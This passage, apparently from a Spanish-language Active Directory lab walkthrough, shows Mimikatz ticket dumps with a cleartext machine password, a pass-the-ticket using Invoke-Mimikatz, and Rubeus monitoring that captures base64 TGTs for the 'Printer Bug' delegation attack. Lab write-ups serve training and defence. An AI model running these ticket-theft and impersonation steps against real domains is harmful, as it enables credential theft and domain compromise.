Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 0cdf7b93381a1d8d1989b0a1def31d6c1fea0528053cb784e8ce4198a67c03d4 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;569157]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 5665378 (00000000:00567262) Session : Network from 0 User Name : Administrator Domain : dcorp Logon Server : (null) Logon Time : 3/2/2024 3:26:12 PM SID : S-1-5-21-719815819-3726368948-3917688648-500 * Username : Administrator * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:26:12 PM ; 3/3/2024 1:26:12 AM ; 3/9/2024 3:26:12 PM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : Administrator ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 49829367d874b0821ad9d838590172a7674927d5ad930637ec125a94155ed7ab Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;567262]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 5653909 (00000000:00564595) Session : Network from 0 User Name : appadmin Domain : dcorp Logon Server : (null) Logon Time : 3/2/2024 3:25:54 PM SID : S-1-5-21-719815819-3726368948-3917688648-1117 * Username : appadmin * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:19:27 PM ; 3/3/2024 1:19:26 AM ; 3/9/2024 3:19:26 PM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : appadmin ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 48fd7b2d67275c81b3d55a0668863839889faca9c4236baa54aa62a157031517 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;564595]-2-0-60a10000-appadmin@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 5651775 (00000000:00563d3f) Session : Network from 0 User Name : Administrator Domain : dcorp Logon Server : (null) Logon Time : 3/2/2024 3:25:12 PM SID : S-1-5-21-719815819-3726368948-3917688648-500 * Username : Administrator * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 3:25:12 PM ; 3/3/2024 1:25:12 AM ; 3/9/2024 3:25:12 PM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : Administrator ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 09fd65bfe802af8a9a8c7efd8b07e984e42c7a663f3137c48ccba619913fd697 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;563d3f]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 744308 (00000000:000b5b74) Session : RemoteInteractive from 2 User Name : appadmin Domain : dcorp Logon Server : DCORP-DC Logon Time : 2/19/2024 11:45:42 PM SID : S-1-5-21-719815819-3726368948-3917688648-1117 * Username : appadmin * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service [00000000] Start/End/MaxRenew: 3/2/2024 6:47:37 AM ; 3/2/2024 4:47:37 PM ; 3/9/2024 6:47:37 AM Service Name (02) : ldap ; dcorp-dc.dollarcorp.moneycorp.local ; dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (02) : ldap ; dcorp-dc.dollarcorp.moneycorp.local ; dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : appadmin ; @ DOLLARCORP.MONEYCORP.LOCAL ( DOLLARCORP.MONEYCORP.LOCAL ) Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 83eac06aad96aeeb98fa05fbec1c6ae46c43f4242acc8c7a95214d6d5198f9c5 Ticket : 0x00000012 - aes256_hmac ; kvno = 13 [...] * Saved to file [0;b5b74]-0-0-40a50000-appadmin@ldap-dcorp-dc.dollarcorp.moneycorp.local.kirbi ! Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 6:47:37 AM ; 3/2/2024 4:47:37 PM ; 3/9/2024 6:47:37 AM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : appadmin ; @ DOLLARCORP.MONEYCORP.LOCAL ( DOLLARCORP.MONEYCORP.LOCAL ) Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 8a51aeac4d6f41dbf3b4a0521971ef8083deea1faecef88f7e91b2cdf05bedc2 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;b5b74]-2-0-40e10000-appadmin@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! Authentication Id : 0 ; 509404 (00000000:0007c5dc) Session : Interactive from 2 User Name : UMFD-2 Domain : Font Driver Host Logon Server : (null) Logon Time : 2/19/2024 11:41:46 PM SID : S-1-5-96-0-2 * Username : DCORP-APPSRV$ * Domain : dollarcorp.moneycorp.local * Password : Md9Dq"q!"p2QG3GZyR>9yMw/lo0v)49RA)cj/TAlNinYB$zDGTdU]vUYs1/Bfe?AbXScy#^4_Ani_v"ABGC`hlp,$=Sm?M19un%6QdFsVpR@Pc[xv$W&=< V Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2/19/2024 11:31:00 PM SID : S-1-5-19 * Username : (null) * Domain : (null) * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : DCORP-APPSRV$ Domain : dcorp Logon Server : (null) Logon Time : 2/19/2024 11:30:59 PM SID : S-1-5-18 * Username : dcorp-appsrv$ * Domain : DOLLARCORP.MONEYCORP.LOCAL * Password : (null) Group 0 - Ticket Granting Service [00000000] Start/End/MaxRenew: 3/2/2024 6:08:13 AM ; 3/2/2024 3:35:48 PM ; 3/9/2024 5:35:48 AM Service Name (02) : cifs ; dcorp-dc.dollarcorp.moneycorp.local ; dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (02) : cifs ; dcorp-dc.dollarcorp.moneycorp.local ; dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL ( dollarcorp.moneycorp.local ) Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 48d75d73c69a2cf65cff3f8656fa1d26535f1f52e36d92bd90afa851521a9137 Ticket : 0x00000012 - aes256_hmac ; kvno = 13 [...] * Saved to file [0;3e7]-0-0-40a50000-DCORP-APPSRV$@cifs-dcorp-dc.dollarcorp.moneycorp.local.kirbi ! [00000001] Start/End/MaxRenew: 3/2/2024 6:08:13 AM ; 3/2/2024 3:35:48 PM ; 3/9/2024 5:35:48 AM Service Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc a4a58fc9c51ba8ab93b54094e159d3d04c72a7b3df015c39c6acae0efd7bcab0 Ticket : 0x00000012 - aes256_hmac ; kvno = 1 [...] * Saved to file [0;3e7]-0-1-40a50000.kirbi ! [00000002] Start/End/MaxRenew: 3/2/2024 5:35:48 AM ; 3/2/2024 3:35:48 PM ; 3/9/2024 5:35:48 AM Service Name (02) : LDAP ; dcorp-dc.dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (02) : LDAP ; dcorp-dc.dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 345feb7e4ce63f3f8570d7d6c2eb0b5727b632fa3c6a24892a8907ce59033e5a Ticket : 0x00000012 - aes256_hmac ; kvno = 13 [...] * Saved to file [0;3e7]-0-2-40a50000-DCORP-APPSRV$@LDAP-dcorp-dc.dollarcorp.moneycorp.local.kirbi ! [00000003] Start/End/MaxRenew: 3/2/2024 5:35:48 AM ; 3/2/2024 3:35:48 PM ; 3/9/2024 5:35:48 AM Service Name (02) : LDAP ; dcorp-dc.dollarcorp.moneycorp.local ; dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (02) : LDAP ; dcorp-dc.dollarcorp.moneycorp.local ; dollarcorp.moneycorp.local ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL ( DOLLARCORP.MONEYCORP.LOCAL ) Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 9b66315d4af0b7876e8e5eef7cea6e18c0ac5a1b80efb4d47a80f23d1391aa87 Ticket : 0x00000012 - aes256_hmac ; kvno = 13 [...] * Saved to file [0;3e7]-0-3-40a50000-DCORP-APPSRV$@LDAP-dcorp-dc.dollarcorp.moneycorp.local.kirbi ! Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 3/2/2024 6:08:13 AM ; 3/2/2024 3:35:48 PM ; 3/9/2024 5:35:48 AM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (--) : @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL ( $$Delegation Ticket$$ ) Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 8e84e6efee04a8e9b8ee4f32ad4ef671288f461d736713aa46d7835469e933a5 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;3e7]-2-0-60a10000-DCORP-APPSRV$@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! [00000001] Start/End/MaxRenew: 3/2/2024 3:20:48 PM ; 3/3/2024 1:20:48 AM ; 3/9/2024 5:35:48 AM Service Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Target Name (02) : krbtgt ; DOLLARCORP.MONEYCORP.LOCAL ; @ DOLLARCORP.MONEYCORP.LOCAL Client Name (01) : DCORP-APPSRV$ ; @ DOLLARCORP.MONEYCORP.LOCAL ( DOLLARCORP.MONEYCORP.LOCAL ) Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000001 - des_cbc_crc 08674be3b711292ce24410664db5e24e10343c51bb9c2914680d01ae16b77388 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;3e7]-2-1-40e10000-DCORP-APPSRV$@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi ! ``` {% endcode %} Luego podemos verificar los tickets actuales que tenemos cargados. ``` PS C:\> klist klist Current LogonId is 0:0x563ebd Cached Tickets: (1) #0> Client: appadmin @ DOLLARCORP.MONEYCORP.LOCAL Server: krbtgt/DOLLARCORP.MONEYCORP.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize Start Time: 3/2/2024 15:19:27 (local) End Time: 3/3/2024 1:19:26 (local) Renew Time: 3/9/2024 15:19:26 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0x1 -> PRIMARY Kdc Called: PS C:\> ``` Luego cargamos uno de los tickets de admin. ``` PS C:\> Invoke-Mimikatz -Command '"kerberos::ptt [0;563d3f]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi"' Invoke-Mimikatz -Command '"kerberos::ptt [0;563d3f]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # kerberos::ptt [0;563d3f]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi * File: '[0;563d3f]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi': OK ``` Luego revisamos nuestros tickets ``` PS C:\> klist klist Current LogonId is 0:0x563ebd Cached Tickets: (1) #0> Client: Administrator @ DOLLARCORP.MONEYCORP.LOCAL Server: krbtgt/DOLLARCORP.MONEYCORP.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize Start Time: 3/2/2024 15:25:12 (local) End Time: 3/3/2024 1:25:12 (local) Renew Time: 3/9/2024 15:25:12 (local) Session Key Type: Kerberos DES-CBC-CRC Cache Flags: 0x1 -> PRIMARY Kdc Called: ``` ### Printer Bug Iniciamos el modo de escucha en la maquina dcorp-appsrv. {% code overflow="wrap" %} ``` PS C:\> .\Rubeus.exe monitor /interval:5 /nowrap .\Rubeus.exe monitor /interval:5 /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: TGT Monitoring [*] Monitoring every 5 seconds for new TGTs [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : appadmin@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:19:27 PM EndTime : 3/3/2024 1:19:26 AM RenewTill : 3/9/2024 3:19:26 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:54:12 PM EndTime : 3/3/2024 1:54:12 AM RenewTill : 3/9/2024 3:54:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:52:12 PM EndTime : 3/3/2024 1:52:12 AM RenewTill : 3/9/2024 3:52:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:51:13 PM EndTime : 3/3/2024 1:51:12 AM RenewTill : 3/9/2024 3:51:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 